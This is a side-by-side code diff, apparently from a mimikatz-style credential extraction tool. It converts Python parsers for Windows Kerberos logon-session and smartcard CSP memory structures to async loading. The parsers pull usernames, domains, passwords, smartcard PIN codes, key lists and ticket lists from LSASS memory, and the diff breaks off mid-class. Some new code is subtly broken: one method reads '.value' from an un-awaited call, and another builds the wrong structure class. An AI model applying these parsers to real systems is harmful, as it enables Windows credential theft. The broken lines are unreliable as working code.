209 | 229 | #self.dwCspInfoLen = DWORD(reader).value |
210 | self.ContextInformation = PVOID(reader).value | |
211 | self.nCardNameOffset = ULONG(reader).value | |
212 | self.nReaderNameOffset = ULONG(reader).value | |
213 | self.nContainerNameOffset = ULONG(reader).value | |
214 | self.nCSPNameOffset = ULONG(reader).value | |
230 | res.ContextInformation = await PVOID.loadvalue(reader) | |
231 | res.nCardNameOffset = await ULONG.loadvalue(reader) | |
232 | res.nReaderNameOffset = await ULONG.loadvalue(reader) | |
233 | res.nContainerNameOffset = await ULONG.loadvalue(reader) | |
234 | res.nCSPNameOffset = await ULONG.loadvalue(reader) | |
215 | 235 | diff = reader.tell() - pos |
216 | data = reader.read(size - diff + 4) | |
217 | self.bBuffer = io.BytesIO(data) | |
236 | data = await reader.read(size - diff + 4) | |
237 | res.bBuffer = io.BytesIO(data) | |
238 | return res | |
218 | 239 | |
219 | 240 | def read_wcharnull(self, buffer, tpos): |
220 | 241 | pos = buffer.tell() |
245 | 266 | return t |
246 | 267 | |
247 | 268 | class PKERB_SMARTCARD_CSP_INFO(POINTER): |
248 | def __init__(self, reader): | |
249 | super().__init__(reader, KERB_SMARTCARD_CSP_INFO) | |
269 | def __init__(self): | |
270 | super().__init__() | |
271 | ||
272 | @staticmethod | |
273 | async def load(reader): | |
274 | p = PKERB_SMARTCARD_CSP_INFO() | |
275 | p.location = reader.tell() | |
276 | p.value = await reader.read_uint() | |
277 | p.finaltype = KERB_SMARTCARD_CSP_INFO | |
278 | return p | |
250 | 279 | |
251 | 280 | |
252 | 281 | class KERB_SMARTCARD_CSP_INFO: |
253 | def __init__(self, reader, size): | |
282 | def __init__(self): | |
283 | self.MessageType = None | |
284 | self.ContextInformation = None | |
285 | self.SpaceHolderForWow64 = None | |
286 | self.flags = None | |
287 | self.KeySpec = None | |
288 | self.nCardNameOffset = None | |
289 | self.nReaderNameOffset = None | |
290 | self.nContainerNameOffset = None | |
291 | self.nCSPNameOffset = None | |
292 | self.bBuffer = None | |
293 | ||
294 | @staticmethod | |
295 | async def load(reader, size): | |
296 | res = KERB_SMARTCARD_CSP_INFO() | |
254 | 297 | pos = reader.tell() |
255 | 298 | #self.dwCspInfoLen = DWORD(reader).value |
256 | self.MessageType = DWORD(reader).value | |
257 | self.ContextInformation = PVOID(reader).value #U | |
258 | self.SpaceHolderForWow64 = ULONG64(reader).value #U | |
259 | self.flags = DWORD(reader).value | |
260 | self.KeySpec = DWORD(reader).value | |
261 | self.nCardNameOffset = ULONG(reader).value * 2 | |
262 | self.nReaderNameOffset = ULONG(reader).value * 2 | |
263 | self.nContainerNameOffset = ULONG(reader).value * 2 | |
264 | self.nCSPNameOffset = ULONG(reader).value * 2 | |
299 | res.MessageType = await DWORD.loadvalue(reader).value | |
300 | res.ContextInformation = await PVOID.loadvalue(reader).value | |
301 | res.SpaceHolderForWow64 = await ULONG64.loadvalue(reader).value | |
302 | res.flags = await DWORD.loadvalue(reader).value | |
303 | res.KeySpec = await DWORD.loadvalue(reader).value | |
304 | res.nCardNameOffset = await ULONG.loadvalue(reader).value | |
305 | res.nCardNameOffset *= 2 | |
306 | res.nReaderNameOffset = await ULONG.loadvalue(reader).value | |
307 | res.nReaderNameOffset *= 2 | |
308 | res.nContainerNameOffset = await ULONG.loadvalue(reader).value | |
309 | res.nContainerNameOffset *= 2 | |
310 | res.nCSPNameOffset = await ULONG.loadvalue(reader).value | |
311 | res.nCSPNameOffset *= 2 | |
265 | 312 | diff = reader.tell() - pos |
266 | data = reader.read(size - diff + 4) | |
267 | self.bBuffer = io.BytesIO(data) | |
313 | data = await reader.read(size - diff + 4) | |
314 | res.bBuffer = io.BytesIO(data) | |
315 | return res | |
268 | 316 | |
269 | 317 | def read_wcharnull(self, buffer, tpos): |
270 | 318 | pos = buffer.tell() |
294 | 342 | |
295 | 343 | return t |
296 | 344 | |
297 | class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): | |
298 | def __init__(self, reader): | |
299 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5) | |
345 | class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): | |
346 | def __init__(self): | |
347 | super().__init__() | |
348 | ||
349 | @staticmethod | |
350 | async def load(reader): | |
351 | p = PKIWI_KERBEROS_CSP_INFOS_5() | |
352 | p.location = reader.tell() | |
353 | p.value = await reader.read_uint() | |
354 | p.finaltype = KIWI_KERBEROS_CSP_INFOS_5 | |
355 | return p | |
300 | 356 | |
301 | 357 | class KIWI_KERBEROS_CSP_INFOS_5: |
302 | def __init__(self, reader): | |
303 | self.PinCode = LSA_UNICODE_STRING(reader) | |
304 | self.unk0 = PVOID(reader) | |
305 | self.unk1 = PVOID(reader) | |
306 | self.CertificateInfos = PVOID(reader) | |
307 | self.unkData = PVOID(reader) # // 0 = CspData | |
308 | self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value | |
309 | self.CspDataLength = DWORD(reader).value | |
310 | self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength) | |
358 | def __init__(self): | |
359 | self.PinCode = None | |
360 | self.unk0 = None | |
361 | self.unk1 = None | |
362 | self.CertificateInfos = None | |
363 | self.unkData = None | |
364 | self.Flags = None | |
365 | self.CspDataLength = None | |
366 | self.CspData = None | |
367 | ||
368 | @staticmethod | |
369 | async def load(reader): | |
370 | res = KIWI_KERBEROS_CSP_INFOS_5() | |
371 | res.PinCode = await LSA_UNICODE_STRING.load(reader) | |
372 | res.unk0 = await PVOID.load(reader) | |
373 | res.unk1 = await PVOID.load(reader) | |
374 | res.CertificateInfos = await PVOID.load(reader) | |
375 | res.unkData = await PVOID.load(reader) # // 0 = CspData | |
376 | res.Flags = await DWORD.loadvalue(reader) # // 1 = CspData (not 0x21)(reader).value | |
377 | res.CspDataLength = await DWORD.loadvalue(reader) | |
378 | res.CspData = await KERB_SMARTCARD_CSP_INFO_5.load(reader, size = res.CspDataLength) | |
379 | return res | |
380 | ||
311 | 381 | |
312 | 382 | class PKIWI_KERBEROS_CSP_INFOS_60(POINTER): |
313 | def __init__(self, reader): | |
314 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60) | |
383 | def __init__(self): | |
384 | super().__init__() | |
385 | ||
386 | @staticmethod | |
387 | async def load(reader): | |
388 | p = PKIWI_KERBEROS_CSP_INFOS_60() | |
389 | p.location = reader.tell() | |
390 | p.value = await reader.read_uint() | |
391 | p.finaltype = KIWI_KERBEROS_CSP_INFOS_60 | |
392 | return p | |
315 | 393 | |
316 | 394 | |
317 | 395 | class KIWI_KERBEROS_CSP_INFOS_60: |
318 | def __init__(self, reader): | |
319 | self.PinCode = LSA_UNICODE_STRING(reader) | |
320 | self.unk0 = PVOID(reader).value | |
321 | self.unk1 = PVOID(reader).value | |
322 | self.CertificateInfos = PVOID(reader).value | |
323 | self.unkData = PVOID(reader).value # // 0 = CspData | |
324 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
325 | self.unkFlags = DWORD(reader).value #// 0x141(reader).value | |
326 | self.CspDataLength = DWORD(reader).value | |
327 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
328 | ||
329 | class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): | |
330 | def __init__(self, reader): | |
331 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62) | |
396 | def __init__(self): | |
397 | self.PinCode = None | |
398 | self.unk0 = None | |
399 | self.unk1 = None | |
400 | self.CertificateInfos = None | |
401 | self.unkData = None | |
402 | self.Flags = None | |
403 | self.unkFlags = None | |
404 | self.CspDataLength = None | |
405 | self.CspData = None | |
406 | ||
407 | @staticmethod | |
408 | async def load(reader): | |
409 | res = KIWI_KERBEROS_CSP_INFOS_5() | |
410 | res.PinCode = await LSA_UNICODE_STRING.load(reader) | |
411 | res.unk0 = await PVOID.loadvalue(reader) | |
412 | res.unk1 = await PVOID.loadvalue(reader) | |
413 | res.CertificateInfos = await PVOID.loadvalue(reader) | |
414 | res.unkData = await PVOID.loadvalue(reader) # // 0 = CspData | |
415 | res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value | |
416 | res.unkFlags = await DWORD.loadvalue(reader) #// 0x141(reader).value | |
417 | res.CspDataLength = await DWORD.loadvalue(reader) | |
418 | res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) | |
419 | return res | |
420 | ||
421 | class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): | |
422 | def __init__(self): | |
423 | super().__init__() | |
424 | ||
425 | @staticmethod | |
426 | async def load(reader): | |
427 | p = PKIWI_KERBEROS_CSP_INFOS_62() | |
428 | p.location = reader.tell() | |
429 | p.value = await reader.read_uint() | |
430 | p.finaltype = KIWI_KERBEROS_CSP_INFOS_62 | |
431 | return p | |
332 | 432 | |
333 | 433 | |
334 | 434 | class KIWI_KERBEROS_CSP_INFOS_62: |
335 | def __init__(self, reader): | |
336 | self.PinCode = LSA_UNICODE_STRING(reader) | |
337 | self.unk0 = PVOID(reader).value | |
338 | self.unk1 = PVOID(reader).value | |
339 | self.CertificateInfos = PVOID(reader).value | |
340 | self.unk2 = PVOID(reader).value | |
341 | self.unkData = PVOID(reader).value #// 0 = CspData(reader).value | |
342 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
343 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61) | |
344 | self.CspDataLength = DWORD(reader).value | |
345 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
435 | def __init__(self): | |
436 | self.PinCode = None | |
437 | self.unk0 = None | |
438 | self.unk1 = None | |
439 | self.CertificateInfos = None | |
440 | self.unk2 = None | |
441 | self.unkData = None | |
442 | self.Flags = None | |
443 | self.unkFlags = None | |
444 | self.CspDataLength = None | |
445 | self.CspData = None | |
446 | ||
447 | @staticmethod | |
448 | async def load(reader): | |
449 | res = KIWI_KERBEROS_CSP_INFOS_62() | |
450 | res.PinCode = await LSA_UNICODE_STRING.load(reader) | |
451 | res.unk0 = await PVOID.loadvalue(reader) | |
452 | res.unk1 = await PVOID.loadvalue(reader) | |
453 | res.CertificateInfos = await PVOID.loadvalue(reader) | |
454 | res.unk2 = await PVOID.loadvalue(reader) | |
455 | res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData(reader).value | |
456 | res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value | |
457 | res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61) | |
458 | res.CspDataLength = await DWORD.loadvalue(reader) | |
459 | res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) | |
460 | return res | |
461 | ||
346 | 462 | |
347 | 463 | class PKIWI_KERBEROS_CSP_INFOS_10(POINTER): |
348 | def __init__(self, reader): | |
349 | super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10) | |
464 | def __init__(self): | |
465 | super().__init__() | |
466 | ||
467 | @staticmethod | |
468 | async def load(reader): | |
469 | p = PKIWI_KERBEROS_CSP_INFOS_10() | |
470 | p.location = reader.tell() | |
471 | p.value = await reader.read_uint() | |
472 | p.finaltype = KIWI_KERBEROS_CSP_INFOS_10 | |
473 | return p | |
350 | 474 | |
351 | 475 | class KIWI_KERBEROS_CSP_INFOS_10: |
352 | def __init__(self, reader): | |
353 | self.PinCode = LSA_UNICODE_STRING(reader) | |
354 | self.unk0 = PVOID(reader).value | |
355 | self.unk1 = PVOID(reader).value | |
356 | self.CertificateInfos = PVOID(reader).value | |
357 | self.unk2 = PVOID(reader).value | |
358 | self.unkData = PVOID(reader).value #// 0 = CspData | |
359 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value | |
360 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value | |
361 | self.unk3 = PVOID(reader).value | |
362 | self.CspDataLength = DWORD(reader).value | |
363 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
476 | def __init__(self): | |
477 | self.PinCode = None | |
478 | self.unk0 = None | |
479 | self.unk1 = None | |
480 | self.CertificateInfos = None | |
481 | self.unk2 = None | |
482 | self.unkData = None | |
483 | self.Flags = None | |
484 | self.unkFlags = None | |
485 | self.unk3 = None | |
486 | self.CspDataLength = None | |
487 | self.CspData = None | |
488 | ||
489 | @staticmethod | |
490 | async def load(reader): | |
491 | res = KIWI_KERBEROS_CSP_INFOS_10() | |
492 | res.PinCode = await LSA_UNICODE_STRING.load(reader) | |
493 | res.unk0 = await PVOID.loadvalue(reader) | |
494 | res.unk1 = await PVOID.loadvalue(reader) | |
495 | res.CertificateInfos = await PVOID.loadvalue(reader) | |
496 | res.unk2 = await PVOID.loadvalue(reader) | |
497 | res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData | |
498 | res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value | |
499 | res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61)(reader).value | |
500 | res.unk3 = await PVOID.loadvalue(reader) | |
501 | res.CspDataLength = await DWORD.loadvalue(reader) | |
502 | res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength) | |
503 | return res | |
364 | 504 | |
365 | 505 | class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER): |
366 | def __init__(self, reader): | |
367 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51) | |
506 | def __init__(self): | |
507 | super().__init__() | |
508 | ||
509 | @staticmethod | |
510 | async def load(reader): | |
511 | p = PKIWI_KERBEROS_LOGON_SESSION_51() | |
512 | p.location = reader.tell() | |
513 | p.value = await reader.read_uint() | |
514 | p.finaltype = KIWI_KERBEROS_LOGON_SESSION_51 | |
515 | return p | |
368 | 516 | |
369 | 517 | class KIWI_KERBEROS_LOGON_SESSION_51: |
370 | def __init__(self, reader): | |
371 | self.UsageCount = ULONG(reader).value | |
372 | self.unk0 = LIST_ENTRY(reader) | |
373 | self.unk1 = LIST_ENTRY(reader) | |
374 | self.unk2 = PVOID(reader).value | |
375 | self.unk3 = ULONG(reader).value # // filetime.1 ? | |
376 | self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value | |
377 | self.unk5 = PVOID(reader).value | |
378 | self.unk6 = PVOID(reader).value | |
379 | self.unk7 = PVOID(reader).value | |
380 | self.LocallyUniqueIdentifier = LUID(reader).value | |
381 | reader.align(8) | |
518 | def __init__(self): | |
519 | self.UsageCount = None | |
520 | self.unk0 = None | |
521 | self.unk1 = None | |
522 | self.unk2 = None | |
523 | self.unk3 = None # // filetime.1 ? | |
524 | self.unk4 = None #// filetime.2 ?(reader).value | |
525 | self.unk5 = None | |
526 | self.unk6 = None | |
527 | self.unk7 = None | |
528 | self.LocallyUniqueIdentifier = None | |
382 | 529 | #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value |
383 | self.unk8 = FILETIME(reader).value | |
384 | self.unk9 = PVOID(reader).value | |
385 | self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value | |
386 | self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value | |
387 | self.unk12 = PVOID(reader).value | |
388 | self.unk13 = PVOID(reader).value | |
389 | self.unk14 = PVOID(reader).value | |
390 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) | |
391 | self.unk15 = ULONG(reader).value | |
392 | self.unk16 = ULONG(reader).value | |
393 | self.unk17 = ULONG(reader).value | |
394 | self.unk18 = ULONG(reader).value | |
395 | self.unk19 = PVOID(reader).value | |
396 | self.unk20 = PVOID(reader).value | |
397 | self.unk21 = PVOID(reader).value | |
398 | self.unk22 = PVOID(reader).value | |
399 | self.pKeyList = PVOID(reader) | |
400 | self.unk24 = PVOID(reader).value | |
401 | self.Tickets_1 = LIST_ENTRY(reader) | |
402 | self.Tickets_2 = LIST_ENTRY(reader) | |
403 | self.Tickets_3 = LIST_ENTRY(reader) | |
404 | self.SmartcardInfos = PVOID(reader) | |
530 | self.unk8 = None | |
531 | self.unk9 = None | |
532 | self.unk10 = None # // filetime.1 ?(reader).value | |
533 | self.unk11 = None # // filetime.2 ?(reader).value | |
534 | self.unk12 = None | |
535 | self.unk13 = None | |
536 | self.unk14 = None | |
537 | self.credentials = None | |
538 | self.unk15 = None | |
539 | self.unk16 = None | |
540 | self.unk17 = None | |
541 | self.unk18 = None | |
542 | self.unk19 = None | |
543 | self.unk20 = None | |
544 | self.unk21 = None | |
545 | self.unk22 = None | |
546 | self.pKeyList = None | |
547 | self.unk24 = None | |
548 | self.Tickets_1 = None | |
549 | self.Tickets_2 = None | |
550 | self.Tickets_3 = None | |
551 | self.SmartcardInfos = None | |
552 | ||
553 | @staticmethod | |
554 | async def load(reader): | |
555 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
556 | res = KIWI_KERBEROS_LOGON_SESSION_51() | |
557 | res.UsageCount = await ULONG.loadvalue(reader) | |
558 | res.unk0 = await LIST_ENTRY.load(reader) | |
559 | res.unk1 = await LIST_ENTRY.load(reader) | |
560 | res.unk2 = await PVOID.loadvalue(reader) | |
561 | res.unk3 = await ULONG.loadvalue(reader) # // filetime.1 ? | |
562 | res.unk4 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value | |
563 | res.unk5 = await PVOID.loadvalue(reader) | |
564 | res.unk6 = await PVOID.loadvalue(reader) | |
565 | res.unk7 = await PVOID.loadvalue(reader) | |
566 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
567 | await reader.align(8) | |
568 | #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value | |
569 | res.unk8 = await FILETIME.loadvalue(reader) | |
570 | res.unk9 = await PVOID.loadvalue(reader) | |
571 | res.unk10 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value | |
572 | res.unk11 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value | |
573 | res.unk12 = await PVOID.loadvalue(reader) | |
574 | res.unk13 = await PVOID.loadvalue(reader) | |
575 | res.unk14 = await PVOID.loadvalue(reader) | |
576 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) | |
577 | res.unk15 = await ULONG.loadvalue(reader) | |
578 | res.unk16 = await ULONG.loadvalue(reader) | |
579 | res.unk17 = await ULONG.loadvalue(reader) | |
580 | res.unk18 = await ULONG.loadvalue(reader) | |
581 | res.unk19 = await PVOID.loadvalue(reader) | |
582 | res.unk20 = await PVOID.loadvalue(reader) | |
583 | res.unk21 = await PVOID.loadvalue(reader) | |
584 | res.unk22 = await PVOID.loadvalue(reader) | |
585 | res.pKeyList = await PVOID.load(reader) | |
586 | res.unk24 = await PVOID.loadvalue(reader) | |
587 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
588 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
589 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
590 | res.SmartcardInfos = await PVOID.load(reader) | |
591 | return res | |
405 | 592 | |
406 | 593 | |
407 | 594 | class PKIWI_KERBEROS_LOGON_SESSION(POINTER): |
408 | def __init__(self, reader): | |
409 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION) | |
595 | def __init__(self): | |
596 | super().__init__() | |
597 | ||
598 | @staticmethod | |
599 | async def load(reader): | |
600 | p = PKIWI_KERBEROS_LOGON_SESSION() | |
601 | p.location = reader.tell() | |
602 | p.value = await reader.read_uint() | |
603 | p.finaltype = KIWI_KERBEROS_LOGON_SESSION | |
604 | return p | |
410 | 605 | |
411 | 606 | class KIWI_KERBEROS_LOGON_SESSION: |
412 | def __init__(self, reader): | |
413 | self.UsageCount = ULONG(reader).value | |
414 | reader.align() | |
415 | self.unk0 = LIST_ENTRY(reader) | |
416 | self.unk1 = PVOID(reader).value | |
417 | self.unk2 = ULONG(reader).value # // filetime.1 ? | |
418 | self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value | |
419 | self.unk4 = PVOID(reader).value | |
420 | self.unk5 = PVOID(reader).value | |
421 | self.unk6 = PVOID(reader).value | |
422 | self.LocallyUniqueIdentifier = LUID(reader).value | |
607 | def __init__(self): | |
608 | self.UsageCount = None | |
609 | self.unk0 = None | |
610 | self.unk1 = None | |
611 | self.unk2 = None # // filetime.1 ? | |
612 | self.unk3 = None #// filetime.2 ?(reader).value | |
613 | self.unk4 = None | |
614 | self.unk5 = None | |
615 | self.unk6 = None | |
616 | self.LocallyUniqueIdentifier = None | |
423 | 617 | #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value |
424 | reader.align(8) | |
425 | self.unk7 = FILETIME(reader).value | |
426 | self.unk8 = PVOID(reader).value | |
427 | self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value | |
428 | self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value | |
429 | self.unk11 = PVOID(reader).value | |
430 | self.unk12 = PVOID(reader).value | |
431 | self.unk13 = PVOID(reader).value | |
432 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) | |
433 | self.unk14 = ULONG(reader).value | |
434 | self.unk15 = ULONG(reader).value | |
435 | self.unk16 = ULONG(reader).value | |
436 | self.unk17 = ULONG(reader).value | |
437 | self.unk18 = PVOID(reader).value | |
438 | self.unk19 = PVOID(reader).value | |
439 | self.unk20 = PVOID(reader).value | |
440 | self.unk21 = PVOID(reader).value | |
441 | self.pKeyList = PVOID(reader) | |
442 | self.unk23 = PVOID(reader).value | |
443 | reader.align() | |
444 | self.Tickets_1 = LIST_ENTRY(reader) | |
445 | self.unk24 = FILETIME(reader).value | |
446 | self.Tickets_2 = LIST_ENTRY(reader) | |
447 | self.unk25 = FILETIME(reader).value | |
448 | self.Tickets_3 = LIST_ENTRY(reader) | |
449 | self.unk26 = FILETIME(reader).value | |
450 | self.SmartcardInfos = PVOID(reader) | |
618 | self.unk7 = None | |
619 | self.unk8 = None | |
620 | self.unk9 = None # // filetime.1 ?(reader).value | |
621 | self.unk10 = None # // filetime.2 ?(reader).value | |
622 | self.unk11 = None | |
623 | self.unk12 = None | |
624 | self.unk13 = None | |
625 | self.credentials = None | |
626 | self.unk14 = None | |
627 | self.unk15 = None | |
628 | self.unk16 = None | |
629 | self.unk17 = None | |
630 | self.unk18 = None | |
631 | self.unk19 = None | |
632 | self.unk20 = None | |
633 | self.unk21 = None | |
634 | self.pKeyList = None | |
635 | self.unk23 = None | |
636 | self.Tickets_1 = None | |
637 | self.unk24 = None | |
638 | self.Tickets_2 = None | |
639 | self.unk25 = None | |
640 | self.Tickets_3 = None | |
641 | self.unk26 = None | |
642 | self.SmartcardInfos = None | |
643 | ||
644 | @staticmethod | |
645 | async def load(reader): | |
646 | res = KIWI_KERBEROS_LOGON_SESSION() | |
647 | res.UsageCount = await ULONG.loadvalue(reader) | |
648 | await reader.align() | |
649 | res.unk0 = await LIST_ENTRY.load(reader) | |
650 | res.unk1 = await PVOID.loadvalue(reader) | |
651 | res.unk2 = await ULONG.loadvalue(reader) # // filetime.1 ? | |
652 | res.unk3 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value | |
653 | res.unk4 = await PVOID.loadvalue(reader) | |
654 | res.unk5 = await PVOID.loadvalue(reader) | |
655 | res.unk6 = await PVOID.loadvalue(reader) | |
656 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
657 | #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value | |
658 | await reader.align(8) | |
659 | res.unk7 = await FILETIME.loadvalue(reader) | |
660 | res.unk8 = await PVOID.loadvalue(reader) | |
661 | res.unk9 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value | |
662 | res.unk10 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value | |
663 | res.unk11 = await PVOID.loadvalue(reader) | |
664 | res.unk12 = await PVOID.loadvalue(reader) | |
665 | res.unk13 = await PVOID.loadvalue(reader) | |
666 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) | |
667 | res.unk14 = await ULONG.loadvalue(reader) | |
668 | res.unk15 = await ULONG.loadvalue(reader) | |
669 | res.unk16 = await ULONG.loadvalue(reader) | |
670 | res.unk17 = await ULONG.loadvalue(reader) | |
671 | res.unk18 = await PVOID.loadvalue(reader) | |
672 | res.unk19 = await PVOID.loadvalue(reader) | |
673 | res.unk20 = await PVOID.loadvalue(reader) | |
674 | res.unk21 = await PVOID.loadvalue(reader) | |
675 | res.pKeyList = await PVOID.load(reader) | |
676 | res.unk23 = await PVOID.loadvalue(reader) | |
677 | await reader.align() | |
678 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
679 | res.unk24 = await FILETIME.loadvalue(reader) | |
680 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
681 | res.unk25 = await FILETIME.loadvalue(reader) | |
682 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
683 | res.unk26 = await FILETIME.loadvalue(reader) | |
684 | res.SmartcardInfos = await PVOID.load(reader) | |
685 | return res | |
451 | 686 | |
452 | 687 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER): |
453 | def __init__(self, reader): | |
454 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL) | |
455 | ||
688 | def __init__(self): | |
689 | super().__init__() | |
690 | ||
691 | @staticmethod | |
692 | async def load(reader): | |
693 | p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL() | |
694 | p.location = reader.tell() | |
695 | p.value = await reader.read_uint() | |
696 | p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL | |
697 | return p | |
456 | 698 | |
457 | 699 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL: |
458 | def __init__(self, reader): | |
459 | self.UserName = LSA_UNICODE_STRING(reader) | |
460 | self.Domaine = LSA_UNICODE_STRING(reader) | |
461 | self.unk0 = PVOID(reader).value | |
462 | self.Password = LSA_UNICODE_STRING(reader) | |
700 | def __init__(self): | |
701 | self.UserName = None | |
702 | self.Domaine = None | |
703 | self.unk0 = None | |
704 | self.Password = None | |
705 | ||
706 | @staticmethod | |
707 | async def load(reader): | |
708 | res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL() | |
709 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
710 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
711 | res.unk0 = await PVOID.loadvalue(reader) | |
712 | res.Password = await LSA_UNICODE_STRING.load(reader) | |
713 | return res | |
463 | 714 | |
464 | 715 | class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER): |
465 | def __init__(self, reader): | |
466 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10) | |
716 | def __init__(self): | |
717 | super().__init__() | |
718 | ||
719 | @staticmethod | |
720 | async def load(reader): | |
721 | p = PKIWI_KERBEROS_LOGON_SESSION_10() | |
722 | p.location = reader.tell() | |
723 | p.value = await reader.read_uint() | |
724 | p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10 | |
725 | return p | |
467 | 726 | |
468 | 727 | class KIWI_KERBEROS_LOGON_SESSION_10_X86: |
469 | def __init__(self, reader): | |
470 | self.UsageCount = ULONG(reader).value | |
471 | reader.align() | |
472 | self.unk0 = LIST_ENTRY(reader) | |
473 | self.unk1 = PVOID(reader).value | |
474 | self.unk1b = ULONG(reader).value | |
475 | reader.align() | |
476 | self.unk2 = FILETIME(reader).value | |
477 | self.unk4 = PVOID(reader).value | |
478 | self.unk5 = PVOID(reader).value | |
479 | self.unk6 = PVOID(reader).value | |
480 | self.LocallyUniqueIdentifier = LUID(reader).value | |
728 | def __init__(self): | |
729 | self.UsageCount = None | |
730 | self.unk0 = None | |
731 | self.unk1 = None | |
732 | self.unk1b = None | |
733 | self.unk2 = None | |
734 | self.unk4 = None | |
735 | self.unk5 = None | |
736 | self.unk6 = None | |
737 | self.LocallyUniqueIdentifier = None | |
738 | self.unk7 = None | |
739 | self.unk8 = None | |
740 | self.unk8b = None | |
741 | self.unk9 = None | |
742 | self.unk11 = None | |
743 | self.unk12 = None | |
744 | self.unk13 = None | |
745 | self.credentials = None | |
746 | self.unk14 = None | |
747 | self.unk15 = None | |
748 | self.unk16 = None | |
749 | self.unk17 = None | |
750 | self.unk19 = None | |
751 | self.unk20 = None | |
752 | self.unk21 = None | |
753 | self.unk22 = None | |
754 | self.unk23 = None | |
755 | self.unk24 = None | |
756 | self.unk25 = None | |
757 | self.pKeyList = None | |
758 | self.unk26 = None | |
759 | self.Tickets_1 = None | |
760 | self.unk27 = None | |
761 | self.Tickets_2 = None | |
762 | self.unk28 = None | |
763 | self.Tickets_3 = None | |
764 | self.unk29 = None | |
765 | self.SmartcardInfos = None | |
766 | ||
767 | ||
768 | @staticmethod | |
769 | async def load(reader): | |
770 | res = KIWI_KERBEROS_LOGON_SESSION_10_X86() | |
771 | res.UsageCount = await ULONG.loadvalue(reader) | |
772 | await reader.align() | |
773 | res.unk0 = await LIST_ENTRY.load(reader) | |
774 | res.unk1 = await PVOID.loadvalue(reader) | |
775 | res.unk1b = await ULONG.loadvalue(reader) | |
776 | await reader.align() | |
777 | res.unk2 = await FILETIME.loadvalue(reader) | |
778 | res.unk4 = await PVOID.loadvalue(reader) | |
779 | res.unk5 = await PVOID.loadvalue(reader) | |
780 | res.unk6 = await PVOID.loadvalue(reader) | |
781 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
481 | 782 | #print(hex(self.LocallyUniqueIdentifier)) |
482 | 783 | #input('unk7\n' + hexdump(reader.peek(0x100))) |
483 | reader.align() | |
484 | self.unk7 = FILETIME(reader).value | |
485 | self.unk8 = PVOID(reader).value | |
486 | self.unk8b = ULONG(reader).value | |
